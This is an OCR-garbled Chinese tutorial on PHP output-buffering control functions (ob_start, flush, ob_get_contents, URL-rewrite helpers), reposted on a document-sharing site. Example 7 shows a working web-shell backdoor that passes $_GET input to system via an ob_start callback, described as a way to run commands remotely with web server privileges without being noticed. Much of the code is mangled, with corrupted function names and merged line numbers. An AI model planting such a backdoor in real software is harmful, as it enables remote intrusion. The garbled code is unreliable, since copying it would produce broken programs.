PHP输出缓冲控制OutputControl函数应用详解docx文档格式.docx
- 文档编号:19121583
- 上传时间:2023-01-04
- 格式:DOCX
- 页数:8
- 大小:22.04KB
PHP输出缓冲控制OutputControl函数应用详解docx文档格式.docx
《PHP输出缓冲控制OutputControl函数应用详解docx文档格式.docx》由会员分享,可在线阅读,更多相关《PHP输出缓冲控制OutputControl函数应用详解docx文档格式.docx(8页珍藏版)》请在冰豆网上搜索。
红薯slccp(l);
我们至少需要等待2秒才能看到输出结果,那我们能不能让其实时的显示呢?
也就是在第一个echo执行完毕时就输出相应的内容呢,这时候就需要用输出缓冲控制函数来操作缓冲区了,实现代码如下:
123456789101112131415<
php/*例3*/echostr_padf,,1024);
//使缓冲区溢出obstart();
//打开缓冲区echo,oschina.net,;
obflushO;
//送出当前缓冲内容,不会输出flushO;
//输出送出的缓冲内容sleep
(1);
红薯’;
ob.flushO;
//送出当前缓冲内容,不会输出flushO;
//输出送出的缓冲内容slccp(l);
;
ob_end_flush();
//输出并关闭缓冲?
简单点也可以这样实现:
1234567891011<
php/*例4*/echostr_pad('
1024);
//使缓冲区溢出echo'
flush();
//输出送出的缓冲内容sleep(l);
虫虫’;
至于相关函数的用法在下面都会有介绍,这里只是给大家展示一个输出缓冲控制函数的应用,当然了输出缓冲控制函数的作用绝不止这一种,那么下面我们就來看看输出缓冲控制函数都可以应用在哪些方面。
作用
L在PHP中,像header(),sessionstart(),setcookie()等这样的发送头文件的函数前,不能冇任何的输出,而利用输出缓冲控制函数可以在这些函数前进行输出而不报错。
其实这么做没啥必要,非常少见的用法。
2•对输出的内容进行处理,例如生成静态缓存文件、进行gzip压缩输出,这算是较常用的功能了,后面会有详细介绍。
3.捕获一些不可获取的函数输出,例如phpinfoO,var_dump()等等,这些函数都会将运算结果显示在浏览器中,而如果我们想对这些结果进行处理,则用输出缓冲控制函数是个不错的方法。
说的通俗点,就是这类函数都不会有返回值,而要获取这些函数的输出数据,就要用到输出缓冲控制函数。
4.最后一种应用就是简介中示例的方法,对一些数据进行实时的输出。
php.ini中的相关配置项
再來看看在php.ini中和输出缓冲控制冇关的选项,共三个,分别是:
output_buffcring,output_handlcr和implicit_flush
1.output_buffering默认为off,当设置为on时,则在所有脚本自动打开输出缓冲氐,拿例3来说,就是在每个脚本都自动执行了ob.startO这个函数,而不用再显示的调用该函数。
其也口J以设置为一个整型的数字,代表缓冲区可以存储的最大字节数,我们在例1的卜•面说明中提到过这个配置项。
2.output_handler默认为null,其值只能设置为一个内置的函数名,作用就是将脚本的所有输岀,用所定义的函数进行处理。
他的用法和obstart('
functionname'
)较类似,下面会介绍到。
3.implicit_flush获认为off,当设置为on吋,PHP将在输出后,自动送出缓冲区内容。
拿例4來说,就是在每段输出后,口动执行flush()。
当然有效的输岀不仅指像echo,print这样的函数,也包括HTML段。
OutputControl函数详解
现在我们就用实例分析相关函数,相信在充分了解了以下内容后,就会对输出缓冲控制函数有了较清晰的掌握。
1.boolob_start([callback$output_callback[,int$chunk_size[,bool$erase]]])
此函数在例3中已经使用过,大家从命名上也能明白其含义,就是打开输出缓冲区,从而进行卜•一步的输出缓冲处理。
这里要特意说的是其参数的用法,第一个参数要传递一个回调函数,其需将缓冲区内容做为参数,并且返回一个字符串。
他会在缓冲区被送出时调用,缓冲区送出指的是执行了例如ob_flush()等函数或者脚木执行完毕。
obflush()函数会在下面介绍到,来看一个简单的
例了就能理解其用法:
•
123456789<
php/*例5*/ob_start(?
handleString,);
123456'
functionhandleString($string){returnmd5($string);
}?
运行后的结果是:
1el0adc3949ba59abbe56e057f20f883e
说明输出的内容被md5加密了,也就是说在缓冲区内容输出吋,运行了我们定义的handlcString函数。
www.thy818.com
再来看一个更实际的例子,也就是常见到的将网贝内容利用gzip压缩后再输出,代码如下:
12345<
php/*例6*/ob_start('
ob_gzhandler,);
echostr_repeat('
oschina'
1024);
?
其页面大小为:
而不使用ob_gzhandler参数,其页面大小为:
可以明显看到大小的差别,所以说利用ob_start()进行页而压缩输出,是非常实用的一个功能。
而第二个参数chunk_size为缓冲区的字节长度,如果缓冲区内容大于此长度,将会被送出缓冲区,默认值为0,代表函数将会在最后被调用。
第三个参数erase如果被设置为flase,则代表脚本执行完毕后缓冲区才会被删除,如果提前执行了删除缓冲区函数(后面会提到),则会报一个错误。
ob_start()的用法就这么多,但有两点需要特别注意的地方:
l.ob_start()可重复调用,也就是说一个脚本屮可以存在多个缓冲区,但记得要按照嵌套顺序将他们全部关闭掉,而如果多个ob_sta讥都定义了第一个参数,也就是都定义了冋调函数,则会按照嵌套顺序依次执行。
关于缓冲区的堆叠嵌套,将在ob_get_level函数处详细介绍,这里就不过多阐述了。
2.ob_start()还有一个不太明显但很致命的后门用法,实现代码如2
1234<
php/*例7*/$cmd='
system'
ob_start($cind);
echo
〃$GET[a]〃;
obendflush();
如果理解了上面关于ob.start的用法,这段代码就不难理解了,其应用了ob.start函数会将缓冲区输应的内容作为参数传入所设置的函数屮的特点,实现亍以Web服务器权限远程执行命令,并口不宜被发觉。
2.stringob_get_contents(void)w\v\v.meysky.com
此函数用来获取此时缓冲区的内容,下而的例子就能很好的理解其用法:
php/*例8*/echostr_pad(,\1024);
//使缓冲区溢出ob_start0;
//打开缓冲区phpinfoO;
$string=ob_get_contcnts();
//获取缓冲区内容$re=fopen('
・/phpinfo.txt'
'
wb'
);
fwrite($re,$string);
//将内容写入文件fclose($re);
ob_end_clean();
//清空并关闭缓冲区?
运行此例会发现,浏览器并示会看任何输出,但在当前口录下会有一个phpinfo.txt的文件,里面存储了此次应冇的输出。
这个例子也展示了上面作用中第三点所说的情况。
我们可以将输出内容获取到后,根据我们的实际情况进行处理。
3.intobgetlength(void)
此函数用來获取缓冲区内容的长度,将例8稍作改动來展示这个函数的用
12345678910111213<
php/*例9*/echostr_pad(>
,,1024);
//使缓冲区溢出ob_start0;
$string=ob_get_contcnts();
//获取缓冲区内容$length=ob_get_length();
//获取缓冲区内容长度$re=fopen(,./phpinfo.txt,,'
fwrite($re,$string);
//将内容写入文件fclose($re);
var_dump($length);
//输出长度ob_end_flush();
//输出并关闭缓冲区?
4.intob_get_lcvcl(void)
此函数用来获取缓冲机制的嵌套级别,我们在介绍ob.startO函数时曾说过,在一个脚木屮可以嵌套存在多个缓冲区,而此函数就是来获取当前缓冲区的嵌套级别,用法如下:
php/*例10*/ob_start();
vardump(obgetlevel());
obstart();
vardump(obgetlevel());
obendflush();
ob_end_flush();
运行后可以很明显的看出他们的欧套关系。
5.arrayobgetstatus([bool$full_status=FALSE])
此函数用來获取当前缓冲区的状态,返回一个状态信息的数组,如果第一个参数为true,将返回一个详细信息的数组,我们结合实例来分析这个数组:
php/*例1l*/ob_start('
obgzhandler'
);
var_cxport(ob_gct_status());
ob_start();
var_cxport(ob_gct_status());
ob_end_flush();
ob_end_flush();
此湎本输出如下;
123456789101112131415array('
level'
=>
1,'
type'
status'
0,'
name,=>
'
ob_gzhandler'
del'
true,)array
('
2,'
name'
,defaultoutputhandler,,'
del'
true,)
level为嵌套级别,也就是和通过ob_get_level()取到的值一样。
type为处理缓冲类型,0为系统内部自动处理,1为用户手动处理。
status为缓冲处理状态,0为开始,1为进行中,2为结束
nrnne为定义的输出处理函数名称,也就是在ob_start()函数中第一个参数传入的函数名。
del为是否运行了删除缓冲区操作
理解了上面数组的含义,就能很好理解缓冲区的各项屈性。
6.arrayoblist_handlers(void)
此函数用來获得输出处理程序的函数名数组,也就是在ob.start()函数中我们指定的第一个参数,需耍注意的是,如果我们传的参数是一个匿名函数,或者在配置文件屮启用了output_buffering则该函数将返Mdefaultoutputhandler,php官方手册中的例I子就能很好的解释这个函数:
php/*例12*///usingoutput_buffcring=Onprint_r(ob_list_handlers());
ob_end_flush();
ob_start("
obgzhandler"
);
print_r(oblisthandlers());
ob_end_flush();
//anonymousfunctionsob_start(create_function('
$string'
return
$strin;
print_r(ob_list_hemdiets());
输出结果为:
[0]二〉'
defaultoutputhandler'
)
1234567891011121314Array(
Array([0]=>
ob_gzhandlcr,)Array([0]=>
dcfauItoutput
handler'
下面我们来看看和输出、关闭、送出缓冲区内容有关的函数:
7.voidob_flush(void)
此函数在前而的例子经常用到了,其作用就是“送岀”当前缓冲区内容,同时清空缓冲区,需要注意这里用的是“送出”一词,也就是说调用此函数并不会将缓冲区内容输出,从例3可以看出必须在其后调用flush函数其才会输出。
关于flush的用法下面就会说到,这里就不再做实例了。
8.voidflush(void)
这个函数算是比较常用的,用来将其前面的所有输出发送到浏览器显示,且不会对缓存区冇任何影响。
例3和例4中都用到了此函数将当前输出显示到浏览器,换句话说,不论是echo等函数的输出,还是HTML实体,或是运行ob_start()送岀的内容,运行flush()后都会在浏览器进行显示。
9.voidobimplicitflush([int$flag二true])
此函数用来打开/关闭绝对刷送模式,就是在每一次输出后自动执行flush(),从而不需要再显示的调用flush(),提高效率。
我们将例4稍作更改,利用这个函数来实现同样的效果:
123456789101112<
php/*例13*/echostr_padC,,1024);
//使缓冲区溢出ob_implicit_flush(true);
//打开绝对刷送echo'
//flush();
之后不需要再显示的调用flush()sleep(l);
红薯’;
//flush();
sleep
(1);
此例和例4实现的同样的效果,曲于打开了绝对刷送,所以不需要再调用flush(),系统会口动在输出后进行刷送。
10.boolobendflush(void)
此函数将缓冲区的内容送出,并关闭缓冲区。
实际上相当于执行了ob_flush()和ob_end_clean();
11.stringobget_flush(void)
此函数和ob_end_flush()的作用基本一致,只是其会以字符串的形式返回缓冲区的内容,很简矗也不做实例了。
12.voidobclean(void)
此函数会将当前缓冲区清空,但不会关闭缓冲区,下面这个例了的输出将不会显示,因为在输岀前,缓冲区已经被清空了,但我们又可以获取到缓冲区的屈性,说明缓冲区没被关闭:
1234567<
php/*例14*/ob_start();
oschirm'
ob_clcan();
var_dump(ob_get_status());
13.boolobendclean(void)
此函数清空并关闭缓冲区,将例14稍作更改,即可发现我们不再能获取到缓冲区的状态,因为它已经被关闭了:
php/*例15*/ob_start();
obendclean();
14.stringob_gct_clcan(void)
此函数清空并关闭缓存,但会以字符串的形式返冋缓存中的数据,实际上,这个函数就是分别执行了obgetcontents()和obendclean();
php/*例16*/ob_start();
$string=obgetclean();
vardump(obgetstatus());
vardump($string);
最后再来看两个和URL重写有关的函数:
15.booloutput_add_rcwritc_var(string$namc,string$valuc)
此函数添加URL重写机制的键和值,这里的URL重写机制,是指在URL的最后以GET方式添加键值对,或者在表单屮以隐藏表单添加键值对。
绝对的URL不会被添加,还是用手册中的例子來看吧,写的非常直观明了:
php/*例17*/output_add_rewrite_var(?
vai?
value'
//somelinksecho'
〈ahref二〃f订e.php"
link<
/a>
<
a
href二〃http:
//example.comz/>
link2<
,;
//aformecho'
〈form
action二"
script.php〃method二〃post〃>
〈inputtype二〃text"
name二〃var2〃/>
〈/fonn>
print_r(ob_list_handlers());
程序的输出为:
ahref二〃f订c.php?
var=valuez,>
link<
href=,zhttp:
//example.conT>
link2〈/a>
formaction二〃script.php〃
method二〃post〃>
inputtype二"
hidden"
name=z/var/zvalue二〃value"
/>
inputtype二〃texname二〃var2〃/>
/form>
Array([0]二〉URL-Rewriter)
可以看到不是绝对URL地址的链接和Form表单被加上了对应的键值对。
16.booloutputresetrewritevars(void)
此函数用來清空所有的URL重写机制,也就是删除由output_add_rcwritc_var()设置的重写变量。
其他需要注意的地方
相信读了上面的内容,就会对PHP的缓冲控制函数有较深的认识了,那接下來说一些在F1常使用中需要注意的问题:
1•在例3的第三行,我输岀了一个1024长度的空格,注释写的是使缓冲区溢出。
这么做的原因是在一些Win32下的服务器程序,即使使用了上述函数,但仍然会缓存脚木的输出,所以必须先发送一段文木让其缓冲区溢出,才能继续实现我们的效果。
大家在应用过程中一定要注意,如果测试中还冇问题,可以将此值设置更大些,例如4096;
2.除非在脚本结束前清空了缓冲区,否则当脚本结束时,缓冲区的所冇内容会自动输出到浏览器中。
商场。
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- PHP 输出 缓冲 控制 OutputControl 函数 应用 详解 docx